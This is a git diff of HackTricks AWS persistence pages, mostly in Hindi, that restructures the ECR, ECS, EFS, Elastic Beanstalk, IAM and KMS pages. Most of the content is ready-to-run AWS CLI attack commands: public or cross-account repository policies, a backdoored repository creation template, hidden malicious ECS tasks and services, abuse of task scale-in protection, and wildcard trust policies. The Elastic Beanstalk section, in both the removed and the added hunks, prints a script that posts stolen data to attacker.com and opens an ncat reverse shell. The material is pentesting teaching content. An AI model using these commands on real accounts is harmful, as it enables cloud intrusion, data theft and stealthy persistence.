- -पहले, आपको रजिस्ट्री पर बाहरी खाते को **रजिस्ट्री नीति** के माध्यम से पहुंच प्रदान करनी होगी जैसे: -```bash -aws ecr put-registry-policy --policy-text file://my-policy.json - -# With a .json like: - -{ -"Sid": "asdasd", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::947247140022:root" -}, -"Action": [ -"ecr:CreateRepository", -"ecr:ReplicateImage" -], -"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" -} -``` -फिर पुनरुत्पादन कॉन्फ़िगरेशन लागू करें: -```bash -aws ecr put-replication-configuration \ ---replication-configuration file://replication-settings.json \ ---region us-west-2 - -# Having the .json a content such as: -{ -"rules": [{ -"destinations": [{ -"region": "destination_region", -"registryId": "destination_accountId" -}], -"repositoryFilters": [{ -"filter": "repository_prefix_name", -"filterType": "PREFIX_MATCH" -}] -}] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md new file mode 100644 index 000000000..4a781b93f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md @@ -0,0 +1,145 @@ +# AWS - ECR Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### छिपा हुआ Docker Image जिसमें malicious code + +एक attacker **upload a Docker image containing malicious code** करके उसे एक ECR repository में रख सकता है और target AWS account में persistence बनाए रखने के लिए use कर सकता है। attacker फिर इस malicious image को account के विभिन्न services, जैसे Amazon ECS या EKS, में stealthy तरीके से deploy कर सकता है। + +### Repository नीति + +एक single repository में अपने लिए (या सभी के लिए) किसी repository तक access देने वाली एक policy जोड़ें: +```bash +aws ecr set-repository-policy \ +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json + +# With a .json such as + +{ +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +> [!WARNING] +> ध्यान दें कि ECR यह आवश्यक करता है कि उपयोगकर्ताओं के पास IAM पॉलिसी के माध्यम से **`ecr:GetAuthorizationToken`** API को कॉल करने की **अनुमति** हो **पहले कि वे किसी रजिस्ट्री में authenticate कर सकें** और किसी भी Amazon ECR रिपॉज़िटरी से इमेज push या pull कर सकें। + +### रजिस्ट्री नीति और क्रॉस-एकाउंट रेप्लिकेशन + +क्रॉस-एकाउंट रेप्लिकेशन कॉन्फ़िगर करके किसी बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जहाँ आपको **उस बाहरी खाते को निर्दिष्ट करना** होगा जिसमें आप रजिस्ट्री की प्रतिकृति बनाना चाहते हैं। + +
+ +सबसे पहले, आपको रजिस्ट्री पर बाहरी खाते को एक्सेस देने के लिए इसी तरह की एक **registry policy** देनी होगी: +```bash +aws ecr put-registry-policy --policy-text file://my-policy.json + +# With a .json like: + +{ +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +} +``` +फिर replication config लागू करें: +```bash +aws ecr put-replication-configuration \ +--replication-configuration file://replication-settings.json \ +--region us-west-2 + +# Having the .json a content such as: +{ +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] +} +``` +### Repository Creation Templates (भविष्य के repos के लिए prefix backdoor) + +ECR Repository Creation Templates का दुरुपयोग करके किसी नियंत्रित prefix के अंतर्गत ECR द्वारा स्वचालित रूप से बनाए जाने वाले किसी भी repository में स्वतः backdoor लगा सकते हैं (उदाहरण के लिए Pull-Through Cache या Create-on-Push के माध्यम से)। इससे मौजूदा repos को छुए बिना भविष्य के repos पर लगातार अनाधिकृत पहुँच मिल जाती है। + +- आवश्यक अनुमति: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (template द्वारा उपयोग), iam:PassRole (यदि template से कोई custom role जुड़ा हो)। +- प्रभाव: लक्षित prefix के तहत बनाई गई कोई भी नई repository स्वतः attacker-controlled repository policy (उदा., cross-account read/write), tag mutability, और scanning defaults को inherit कर लेती है। + +
+चुने हुए prefix के तहत भविष्य में PTC द्वारा बनाए गए repos में backdoor लगाएँ +```bash +# Region +REGION=us-east-1 + +# 1) Prepare permissive repository policy (example grants everyone RW) +cat > /tmp/repo_backdoor_policy.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BackdoorRW", +"Effect": "Allow", +"Principal": {"AWS": "*"}, +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer", +"ecr:InitiateLayerUpload", +"ecr:UploadLayerPart", +"ecr:CompleteLayerUpload", +"ecr:PutImage" +] +} +] +} +JSON + +# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE +aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json + +# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix +# This example caches from Amazon ECR Public namespace "nginx" +aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx + +# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx) +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com + +docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest + +# 5) Validate the backdoor policy was applied on the newly created repository +aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq . +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md deleted file mode 100644 index da2244413..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ /dev/null @@ -1,93 +0,0 @@ -# AWS - ECS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Hidden Periodic ECS Task - -> [!NOTE] -> TODO: Test - -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an Amazon EventBridge rule to trigger the task periodically -aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" - -# Add a target to the rule to run the malicious ECS task -aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ -{ -"Id": "malicious-ecs-task-target", -"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", -"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", -"EcsParameters": { -"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", -"TaskCount": 1 -} -} -]' -``` -### Backdoor Container in Existing ECS Task Definition - -> [!NOTE] -> TODO: Test - -एक हमलावर एक मौजूदा ECS टास्क परिभाषा में एक **छिपा हुआ बैकडोर कंटेनर** जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है। -```bash -# Update the existing task definition to include the backdoor container -aws ecs register-task-definition --family "existing-task" --container-definitions '[ -{ -"name": "legitimate-container", -"image": "legitimate-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -}, -{ -"name": "backdoor-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": false -} -]' -``` -### Undocumented ECS Service - -> [!NOTE] -> TODO: Test - -एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को बंद करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है। -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an undocumented ECS service with the malicious task definition -aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md new file mode 100644 index 000000000..e4eb4e1a6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md @@ -0,0 +1,151 @@ +# AWS - ECS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### छिपा हुआ आवर्ती ECS Task + +> [!NOTE] +> TODO: परीक्षण करें + +एक हमलावर Amazon EventBridge का उपयोग करके एक छिपा हुआ आवर्ती ECS task बना सकता है ताकि वह **एक दुर्भावनापूर्ण task के निष्पादन को आवधिक रूप से निर्धारित कर सके**। यह task reconnaissance कर सकता है, data exfiltrate कर सकता है, या AWS account में persistence बनाए रख सकता है। +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an Amazon EventBridge rule to trigger the task periodically +aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" + +# Add a target to the rule to run the malicious ECS task +aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} +]' +``` +### Backdoor Container in Existing ECS Task Definition + +> [!NOTE] +> TODO: परीक्षण + +एक हमलावर मौजूदा ECS task definition में एक **छिपा हुआ backdoor container** जोड़ सकता है जो वैध containers के साथ-साथ चलता है। यह backdoor container persistence बनाए रखने और दुष्ट गतिविधियाँ करने के लिए इस्तेमाल किया जा सकता है। +```bash +# Update the existing task definition to include the backdoor container +aws ecs register-task-definition --family "existing-task" --container-definitions '[ +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} +]' +``` +### अदस्तावेज़ ECS Service + +> [!NOTE] +> TODO: परीक्षण + +एक attacker एक **अदस्तावेज़ ECS service** बना सकता है जो एक हानिकारक task चलाता है। इच्छित tasks की संख्या न्यूनतम पर सेट करके और logging को अक्षम करके, administrators के लिए हानिकारक service को नोटिस करना कठिन हो जाता है। +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an undocumented ECS service with the malicious task definition +aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" +``` +### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection) + +ecs:UpdateTaskProtection का दुरुपयोग करके service tasks को scale‑in events और rolling deployments द्वारा रोका जाने से बचाया जा सकता है। रक्षा की अवधि को लगातार बढ़ाते हुए, एक हमलावर लंबे समय तक चलने वाले टास्क को चलाता रख सकता है (C2 या डेटा संग्रहण के लिए), भले ही रक्षात्मक पक्ष desiredCount घटा दे या नई task revisions पुश कर दे। + +Steps to reproduce in us-east-1: +```bash +# 1) Cluster (create if missing) +CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null) +[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text) + +# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc) +cat > /tmp/ht-persist-td.json << 'JSON' +{ +"family": "ht-persist", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"containerDefinitions": [ +{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest", +"command": ["/bin/sh","-c","sleep 864000"]} +] +} +JSON +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null + +# 3) Create service (use default VPC public subnet + default SG) +VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text) +SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text) +SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text) +aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \ +--task-definition ht-persist --desired-count 1 --launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}" + +# 4) Get running task ARN +TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text) + +# 5) Enable scale-in protection for 24h and verify +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440 +aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK" + +# 6) Try to scale service to 0 (task should persist) +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 +aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING + +# Optional: rolling deployment blocked by protection +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment +aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]' + +# 7) Cleanup +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true +aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true +aws ecs deregister-task-definition --task-definition ht-persist || true +``` +प्रभाव: एक protected task desiredCount=0 होने के बावजूद RUNNING बनी रहती है और नए deployments के दौरान replacements को ब्लॉक कर देती है, जिससे ECS service के भीतर stealthy long‑lived persistence सक्षम हो जाती है। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md deleted file mode 100644 index bd0ba27aa..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - EFS स्थिरता - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### संसाधन नीति / सुरक्षा समूहों को संशोधित करें - -**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को स्थायी बनाने का प्रयास कर सकते हैं। - -### पहुँच बिंदु बनाएँ - -आप **एक पहुँच बिंदु बना सकते हैं** (जिसमें `/` पर रूट पहुँच हो) जिसे एक सेवा से पहुँचा जा सके जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थिरता** लागू की है। - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md new file mode 100644 index 000000000..df9044be0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - EFS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +For more information check: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### Modify Resource Policy / Security Groups + +आप **resource policy and/or security groups** को संशोधित करके फ़ाइल सिस्टम में अपनी पहुँच को स्थायी करने का प्रयास कर सकते हैं। + +### Create Access Point + +आप उस service से पहुँचने योग्य एक **create an access point** (root access `/` के साथ) बना सकते हैं, जहाँ आपने **other persistence** लागू की हो, ताकि फ़ाइल सिस्टम तक विशेषाधिकार वाली पहुँच बनी रहे। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md deleted file mode 100644 index 0067f91c4..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ /dev/null @@ -1,75 +0,0 @@ -# AWS - Elastic Beanstalk Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Instance में Persistence - -AWS खाते के अंदर स्थिरता बनाए रखने के लिए, कुछ **स्थिरता तंत्र को Instance के अंदर पेश किया जा सकता है** (cron job, ssh key...) ताकि हमलावर इसे एक्सेस कर सके और IAM भूमिका **क्रेडेंशियल्स को मेटाडेटा सेवा से चुरा सके**। - -### Version में Backdoor - -एक हमलावर S3 repo के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपने बैकडोर और अपेक्षित कोड को निष्पादित करे। - -### नया बैकडोर वाला संस्करण - -वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर वाला संस्करण तैनात कर सकता है। - -### कस्टम रिसोर्स लाइफसाइकिल हुक का दुरुपयोग - -> [!NOTE] -> TODO: Test - -Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को एक्सफिल्ट्रेट करने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**। -```bash -bashCopy code# Attacker creates a script that exfiltrates data and maintains access -echo '#!/bin/bash -aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv -gzip /tmp/data.csv -curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil -ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh - -# Attacker uploads the script to an S3 bucket -aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh - -# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook -echo 'Resources: -AWSEBAutoScalingGroup: -Metadata: -AWS::ElasticBeanstalk::Ext: -TriggerConfiguration: -triggers: -- name: stealthy-lifecycle-hook -events: -- "autoscaling:EC2_INSTANCE_LAUNCH" -- "autoscaling:EC2_INSTANCE_TERMINATE" -target: -ref: "AWS::ElasticBeanstalk::Environment" -arn: -Fn::GetAtt: -- "AWS::ElasticBeanstalk::Environment" -- "Arn" -stealthyLifecycleHook: -Type: AWS::AutoScaling::LifecycleHook -Properties: -AutoScalingGroupName: -Ref: AWSEBAutoScalingGroup -LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING -NotificationTargetARN: -Ref: stealthy-lifecycle-hook -RoleARN: -Fn::GetAtt: -- AWSEBAutoScalingGroup -- Arn' > stealthy_lifecycle_hook.yaml - -# Attacker applies the new environment configuration -aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md new file mode 100644 index 000000000..4a82bc25b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - Elastic Beanstalk Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Persistence in Instance + +AWS account के अंदर persistence बनाए रखने के लिए, कुछ **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) ताकि हमलावर उसे access करके IAM role **credentials from the metadata service** चुरा सके। + +### Backdoor in Version + +एक हमलावर S3 repo के अंदर code में backdoor डाल सकता है ताकि यह हमेशा उसका backdoor और expected code दोनों execute करे। + +### New backdoored version + +असल version के code को बदलने के बजाय, हमलावर application की एक नया backdoored version deploy कर सकता है। + +### Abusing Custom Resource Lifecycle Hooks + +> [!NOTE] +> TODO: Test + +Elastic Beanstalk lifecycle hooks प्रदान करता है जो आपको instance provisioning और termination के दौरान custom scripts चलाने की अनुमति देते हैं। एक हमलावर **lifecycle hook configure कर सकता है ताकि वह periodically एक script execute करे जो exfiltrates data या AWS account तक access बनाए रखे।** +```bash +# Attacker creates a script that exfiltrates data and maintains access +echo '#!/bin/bash +aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv +gzip /tmp/data.csv +curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil +ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh + +# Attacker uploads the script to an S3 bucket +aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh + +# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook +echo 'Resources: +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml + +# Attacker applies the new environment configuration +aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md deleted file mode 100644 index a050099aa..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ /dev/null @@ -1,47 +0,0 @@ -# AWS - IAM Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -अधिक जानकारी के लिए पहुँचें: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### सामान्य IAM स्थिरता - -- एक उपयोगकर्ता बनाएं -- एक नियंत्रित उपयोगकर्ता को एक विशेष समूह में जोड़ें -- एक्सेस कुंजी बनाएं (नए उपयोगकर्ता या सभी उपयोगकर्ताओं की) -- नियंत्रित उपयोगकर्ताओं/समूहों को अतिरिक्त अनुमतियाँ दें (संलग्न नीतियाँ या इनलाइन नीतियाँ) -- MFA को निष्क्रिय करें / अपना खुद का MFA उपकरण जोड़ें -- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर अधिक जानकारी नीचे STS स्थिरता में) - -### बैकडोर भूमिका ट्रस्ट नीतियाँ - -आप एक ट्रस्ट नीति में बैकडोर कर सकते हैं ताकि आप इसे एक बाहरी संसाधन के लिए मान लें जो आपके द्वारा नियंत्रित है (या सभी के लिए): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": ["*", "arn:aws:iam::123213123123:root"] -}, -"Action": "sts:AssumeRole" -} -] -} -``` -### बैकडोर नीति संस्करण - -एक नीति को उसके अंतिम संस्करण में नहीं, बल्कि एक संस्करण में व्यवस्थापक अनुमतियाँ दें (अंतिम संस्करण को वैध दिखना चाहिए), फिर उस नीति के संस्करण को एक नियंत्रित उपयोगकर्ता/समूह को सौंपें। - -### बैकडोर / पहचान प्रदाता बनाना - -यदि खाता पहले से ही एक सामान्य पहचान प्रदाता (जैसे Github) पर भरोसा कर रहा है, तो विश्वास की शर्तों को बढ़ाया जा सकता है ताकि हमलावर उनका दुरुपयोग कर सके। - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md new file mode 100644 index 000000000..156c3cf26 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - IAM Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### सामान्य IAM Persistence + +- एक user बनाएं +- किसी controlled user को एक privileged group में जोड़ें +- access keys बनाएं (नए user के या सभी users के लिए) +- controlled users/groups को अतिरिक्त permissions दें (attached policies या inline policies के माध्यम से) +- MFA अक्षम करें / अपना MFA device जोड़ें +- Role Chain Juggling स्थिति बनाएं (नीचे STS persistence में अधिक जानकारी) + +### Backdoor Role Trust Policies + +आप एक trust policy में backdoor जोड़ सकते हैं ताकि आप इसे अपने द्वारा नियंत्रित external resource के लिए assume कर सकें (या सभी के लिए): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] +} +``` +### Backdoor Policy Version + +एक policy के किसी पुराने version में Administrator permissions दें (आखिरी version को वैध दिखना चाहिए), फिर उस version को नियंत्रित user/group को असाइन करें। + +### Backdoor / Create Identity Provider + +यदि account पहले से ही किसी सामान्य identity provider (जैसे Github) पर भरोसा करता है, तो trust की शर्तें बढ़ा दी जा सकती हैं ताकि attacker उनका दुरुपयोग कर सके। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md deleted file mode 100644 index 0e59726b3..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - KMS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### KMS नीतियों के माध्यम से पहुँच प्रदान करें - -एक हमलावर **`kms:PutKeyPolicy`** अनुमति का उपयोग करके एक कुंजी को अपने नियंत्रण में एक उपयोगकर्ता या यहां तक कि एक बाहरी खाते को **पहुँच देने** के लिए उपयोग कर सकता है। अधिक जानकारी के लिए [**KMS Privesc पृष्ठ**](../aws-privilege-escalation/aws-kms-privesc.md) देखें। - -### शाश्वत अनुदान - -अनुदान एक विशिष्ट कुंजी पर किसी प्रिंसिपल को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं। - -इसलिए, एक उपयोगकर्ता के पास सभी अनुमतियों के साथ 10 अनुदान हो सकते हैं। हमलावर को इसे लगातार मॉनिटर करना चाहिए। और यदि किसी बिंदु पर 1 अनुदान हटा 